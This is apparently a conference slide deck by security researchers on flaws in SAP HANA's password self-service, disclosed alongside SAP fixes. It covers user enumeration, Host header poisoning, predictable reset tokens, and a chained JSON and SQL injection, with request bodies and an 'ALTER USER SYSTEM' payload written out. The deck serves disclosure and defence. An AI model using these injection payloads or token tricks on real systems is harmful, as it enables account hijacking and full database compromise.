I FORGOT YOUR PASSWORD: BREAKING MODERN PASSWORD RECOVERY SYSTEMS

Nahuel D. Sánchez
Security Researcher
Onapsis
@nahucito

Martín Doyhenard
Security Researcher
Onapsis
@tincho_508
This presentation contains references to the products of SAP SE. SAP, R/3, xApps, xApp, SAP NetWeaver, Duet, PartnerEdge, ByDesign, SAP Business ByDesign, and other SAP products and services mentioned herein are trademarks or registered trademarks of SAP AG in Germany and in several other countries all over the world.

Business Objects and the Business Objects logo, BusinessObjects, Crystal Reports, Crystal Decisions, Web Intelligence, Xcelsius and other Business Objects products and services mentioned herein are trademarks or registered trademarks of Business Objects in the United States and/or other countries.

SAP SE is neither the author nor the publisher of this publication and is not responsible for its content, and SAP Group shall not be liable for errors or omissions with respect to the materials.
INTRODUCTION
Introduction - Contents

- Introduction
- Password recovery mechanisms
  - Types and alternatives
- Attacking Password recovery mechanisms
  - Common bugs and threats
- Case study
  - Real world example
- Conclusions
Password recovery systems

Why target password recovery systems?

Present in almost any modern system

There isn’t a good default solution

Underrated complexity

Vulnerabilities can have CRITICAL impact
Password recovery systems

Present in almost any modern system
Password recovery systems

There isn’t a good default solution

Plaintext storage & recovery

Your password is: cat123

SMS PIN token

Use this code: 2315

Recovery code/token

Your recovery code is: DEADBEEF

Email reset link

To change your password click here

Security questions

What is the last name of your grandmother?
Password recovery systems

Underrated complexity

- Authentication is not required
- Perform privileged actions
  - Change password
  - Create new account
  - Activate account
Password recovery systems vulnerabilities

High profile password recovery vulnerabilities

- FACEBOOK: Password recovery PIN Bruteforce
- MICROSOFT: Password recovery token bypass
- GOOGLE: Account recovery vulnerability

Sources:
1. http://www.anandpraka.sh/2016/03/how-i-could-have-hacked-your-Facebook.html
FACEBOOK: Password recovery PIN Bruteforce

- 6 digit PIN codes
- No PIN bruteforce prevention on certain Facebook domain
- Any account could be hijacked
Password recovery systems

There isn’t a good default solution

Plaintext storage & recovery

FAIL

Your password is: cat123

SMS PIN token

FAIL

Use this code: 2315

Recovery code/token

Your recovery code is: DEADBEEF

Email reset link

To change your password click here

Security questions

What is the last name of your grandmother?
ATTACKING PASSWORD RECOVERY MECHANISMS

A real world case study
SAP HANA – What is it?

- In-memory database
- Application development platform
- Embedded web application server
- Key product for SAP
  - Developed to compete against Oracle
  - Highly maintained by SAP
- Cloud/on-premise solution
SAP HANA – User Self Service

- SAP HANA’s password recovery mechanism
- Shipped by default (disabled)
- Developed in XSJS
- Web-based application
- Vulnerable to:
  - SQLi
  - User enumeration
  - Design errors
SAP HANA – User Self Service

- Users can:
  - Request a new account
  - Reset their password
1. Random token is generated
2. Token is sent to the user via Email
3. User sets/resets the password
4. User chooses a security question and answer

The token, security question and answer are stored in the database
USER SELF SERVICE VULNERABILITIES
User enumeration

- Different error messages if the account exists or not
- One of the most common issues with password recovery systems

Examples
- OpenCart\(^1\)
- Drupal\(^2\)

Sources:
\(^1\) [https://github.com/opencart/opencart/issues/6373](https://github.com/opencart/opencart/issues/6373)
\(^2\) [https://www.drupal.org/project/username Enumeration Prevention](https://www.drupal.org/project/username Enumeration Prevention)
USS User enumeration

- Reported by Onapsis
- User enumeration vulnerability
- Abuse of Hana’s “Forgot password” functionality
- Enumeration can be noisy (email sent to valid users)
- Fixed with SAP Security note 2394445
Host header poisoning

- Applications trust the “Host” header content
- Header’s content is used to build password recovery link
- Attacker can:
  - Inject arbitrary content
  - Hijack password recovery token
- Example
  - Concrete5 CMS\(^1\)
  - Django\(^2\)

Sources:
1. [https://hackerone.com/reports/226659](https://hackerone.com/reports/226659)
[http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html](http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html)
USS Host header poisoning

- Administrators receive an email requiring the account approval (Can be configured)
- The same happens for users, once they click on the “forgot your password” link
- These emails are based on the predefined template
- **Host header poisoning**

Dear <USER>,

[This is an auto-generated email; do not reply.]

Thank you for submitting a request for a new SAP HANA user account.

Please click the link below to confirm your email address:

Best Regards,
User self-service.

Dear USS Administrator,

[This is an auto-generated email; do not reply.]

...


http://<host>:<port>/sap/hana/xs/selfService/admin/

Best Regards,
User self-service.
Email content injection

The following code is used to build the administrator email

```javascript
function buildAndSendMailToUserAdministrator(userName, originLink) {
    ...
    var linkToSecurityApp = getClientProtocol() + "://" + $.request.headers.get("host") + "/sap/hana/ide/security/index.html?user=" + userName;

    var linkToAllUSSRequests = getClientProtocol() + "://" + $.request.headers.get("host") + "/sap/hana/xs/selfService/admin/";
    ...
}
```

- Attacker controls the “host” header
- Useful to perform Social Engineering attacks
- Fix available SAP Security note 2424173
Email content injection

DEMO #1
Password recovery systems

There isn’t a good default solution

Plaintext storage & recovery

Your password is: cat123

SMS PIN token

Use this code: 2315

Recovery code/token

Your recovery code is: DEADBEEF

Email reset link

To change your password click here

Security questions

What is the last name of your grandmother?
Recovery code/token prediction

- USS uses tokens for password recovery
- When the user needs to reset their password, a token is sent via Email
- **Tokens MUST be random and secret**
- If an attacker is able to predict them he will be able to reset the account’s password
USS – Recovery token prediction

- HANA token implementation was flawed, only 2 bytes of 16 were “random”
- How “random” these 2 bytes were?
  - Its value depended on the timestamp the user requested the reset password
- What could happen if two or more tokens were issued almost simultaneously...?

Password reset tokens were predictable
USS – Recovery token prediction

First token issued by the USS application:

Dear ATTACKER,

[This is an auto-generated email; do not reply.]

Your request for Password Recovery has been received.

Please click the link below to reset your password.

Tokens issued right after the first one:

token=5ABA53EA96644AB8E1000000C0A8E17C
token=5ABA53EC96644AB8E1000000C0A8E17C
token=5ABA53EF96644AB8E1000000C0A8E17C
Password recovery systems

There isn’t a good default solution

Plaintext storage & recovery
Your password is: cat123

SMS PIN token
Use this code: 2315

Recovery code / token
Your recovery code is: DEADBEEF

Email reset link
To change your password click here

Security questions
What is the last name of your grandmother?
CHAINING BUGS FOR REMOTE FULL COMPROMISE

JSON injection + SQLi + Design error = SYSTEM
Account registration process quick recap

- Request for account with Username and Email
- Sets new password, security question and answer
- Once the account is confirmed its token is deleted from the database
- A token can be used either for registration or recovery, regardless of how it was generated
- Users can validate their accounts even if the account is already validated
JSON injection

SAP HANA
Account Security Settings

Create Password
- Create Password
- Repeat Password

Set Security Question
- What is your favourite holiday destination?
- Enter Security Answer

Save

SAP HANA
HANA Reset Password

Reset Password
- New Password
- Confirm New Password

*What is your favourite holiday destination?
- Enter Security Answer

Confirm
User **JOHN** Account creation process

```java
try {
    Database.PreparedStatement.CreateUser(UserName, Email)
    Token.Key = new RandomHex().toString(DEADBEEF12345678)
    Token.Value = JSON.Stringify({username: UserName, time: new Date()})
    SecureStorage.Save(Token)
    SendEmail(Token.Key)
}
```

<table>
<thead>
<tr>
<th>KEY</th>
<th>VALUE</th>
</tr>
</thead>
<tbody>
<tr>
<td>DEADBEEF12345678</td>
<td>{username: JOHN ....}</td>
</tr>
</tbody>
</table>
JSON injection

SAP HANA
Account Security Settings

Create Password
Create Password
Repeat Password

Set Security Question
What is your favourite holiday destination?
Enter Security Answer

Save
HTTP POST REQUEST BODY USED TO CREATE THE ACCOUNT

"pwd"":"<NEW_PASSWORD>",

"confirmPwd"":"<NEW_PASSWORD>",

"securetoken"":"<TOKEN_RECEIVED_BY_EMAIL>",

"securityAns"":"<NEW_SECURITY_ANSWER>"

There isn't any validation on the security answer, any string is allowed, JSON included.

There isn't any check over the secure Token format (length, type, and so on)
User JOHN Account validation

TokenVal = SecureStorage.get(SecureToken).Value  
{username: JOHN ....}

if (TokenVal != null)
{
    SecureStorage.delete(SecureToken)
    Password = Sanitize(Pwd)

    UserName = TokenVal.username  = JOHN

    DataBase.Query("ALTER USER" + UserName + " PASSWORD" + Password)
}

<table>
<thead>
<tr>
<th>KEY</th>
<th>VALUE</th>
</tr>
</thead>
<tbody>
<tr>
<td>DEADBEEF12345678</td>
<td>{username: JOHN ....}</td>
</tr>
</tbody>
</table>
User JOHN Account validation

```java
...
SecureAnswer.Key = UserName + "\.SECURITY_ANSWER"
SecureAnswer.Value = SecurityAns.toString()
SecureStorage.Save(SecureAnswer)
```

<table>
<thead>
<tr>
<th>KEY</th>
<th>VALUE</th>
</tr>
</thead>
<tbody>
<tr>
<td>DEADBEEF12345678</td>
<td>'{&quot;username&quot;:&quot;JOHN&quot;...'}</td>
</tr>
<tr>
<td>JOHN.SECURITY_ANSWER</td>
<td>Tony_the_dog</td>
</tr>
</tbody>
</table>

Technically, there is no difference between tokens and security answer
JSON injection – Account hijack

Hijacking user accounts through a JSON injection

Attacker registers a new user (JHON)

"action": "savePassword"
"pwd": "<NEW_PASSWORD>",
"confirmPwd": "<NEW_PASSWORD>",
"securetoken": "1234567890ABCDEF",
"securityQues": "1",
"securityAns": "{"username": "VICTIM_USER",
"time": "2018-01-10T22:10:06.024Z"}"

Secure storage table

<table>
<thead>
<tr>
<th>KEY</th>
<th>VALUE</th>
</tr>
</thead>
<tbody>
<tr>
<td>1234567890ABCDEF</td>
<td>{&quot;username&quot;: &quot;JHON...&quot;}</td>
</tr>
<tr>
<td>JHON.SECURITY_QUESTION</td>
<td>1</td>
</tr>
<tr>
<td>JHON.SECURITY_ANSWER</td>
<td>{&quot;username&quot;: &quot;VICTIM_USER&quot;}</td>
</tr>
</tbody>
</table>
Attacker updates his information

```
"action" : "savePassword",
"pwd" : "<NEW_PASSWORD>",
"confirmPwd" : "<NEW_PASSWORD>",
"securetoken" : "JOHN.security_answer",
"securityQues" : "1",
"securityAns" : "SecretAnswer"
```

Secure storage table

<table>
<thead>
<tr>
<th>KEY</th>
<th>VALUE</th>
</tr>
</thead>
<tbody>
<tr>
<td>ABCDEF1234567890</td>
<td>{“username” : ”JHON” ...}</td>
</tr>
<tr>
<td>JHON.security_question</td>
<td>“1”</td>
</tr>
<tr>
<td>JHON.security_answer</td>
<td>{“username” : ”victim_user” ...}</td>
</tr>
</tbody>
</table>

Attacker used “SAMPLEUSER.security_answer” as token! That will retrieve a JSON containing the username to change like if a valid secure token was used.
So far the attacker can hijack any existing user account. What else?

SYSTEM USER
- Most powerful DB user.
- Created by default.
- Can gain all roles and privileges. Read and modify data and code...
- Should be deactivated after initial setup (good practice)

If an attacker gets control of the SYSTEM user, the SAP HANA system would be fully compromised
Recovery account / new account database inner workings

- Both recover and request account systems generate SQL queries by concatenating strings with the usernames from the secure storage JSONs.

```
try {
    token = SecureStorage.get(SecureToken)
    Password = Sanitize(Pwd)
    Database.PreparedStatement.CreateUser(UserName, Email)
} Catch (DBError) {
    UserName = token.Value.username
    return "Username already exists or is invalid"

    Database.Query("ALTER USER " + UserName + " PASSWORD" + Password)
}"
```
JSON injection – Account hijack

What can go wrong?

Attacker registers a new user (JHON)

```
"action": "savePassword",
"pwd": "<NEW_PASSWORD>",
"confirmPwd": "<NEW_PASSWORD>",
"securetoken": "1234567890ABCDEF",
"securityQues": "1",
"securityAns": "{}
```

Secure storage table

<table>
<thead>
<tr>
<th>KEY</th>
<th>VALUE</th>
</tr>
</thead>
<tbody>
<tr>
<td>1234567890ABCDEF</td>
<td>{&quot;username&quot;: &quot;JHON...&quot;}</td>
</tr>
<tr>
<td>JHON.SECURITY_QUESTION</td>
<td>1</td>
</tr>
<tr>
<td>JHON.SECURITY_ANSWER</td>
<td>{&quot;username&quot;: &quot;VICTIM_USER&quot;}</td>
</tr>
</tbody>
</table>

```
ALTER USER SYSTEM/**/ACTIVATE/**/USER/**/NOW--

SYSTEM ACTIVATED
```

```
ALTER USER SYSTEM/**/ACTIVATE/**/USER/**/NOW--

SYSTEM ACTIVATED
```
Email content injection

DEMO #2
Password recovery systems

There isn’t a good default solution

Plaintext storage & recovery
Your password is: cat123

SMS PIN token
Use this code: 2315

Recovery code/token
Your recovery code is: DEADBEEF

Email reset link
To change your password click here

Security questions
What is the last name of your grandmother?
Secure password recovery mechanisms

- 2FA for password recovery
  - USB Keys
  - OTP Codes
- Secure method
- Hard to implement
- Hard to use for some users
Secure password recovery mechanisms

- Reset password to random value
- Easier to implement
- Security depends on how the new password is transmitted
- Password generated must be secure
Ultimately, the security of the password recovery system depends on its implementation. You can design the best alternative but if it is not properly implemented, it could lead to a full system compromise.
Apply What You Have Learned Today

- Review your company systems
  - If there any solution with a password recovery mechanism?
- How critical is that system for your organization?
  - Complexity vs Security
  - Was audited/reviewed recently?
  - Who developed it?
- Is it possible for attackers to reach those systems?
  - Systems exposed to untrusted networks vs Internal systems
  - In-house developments
THANK YOU!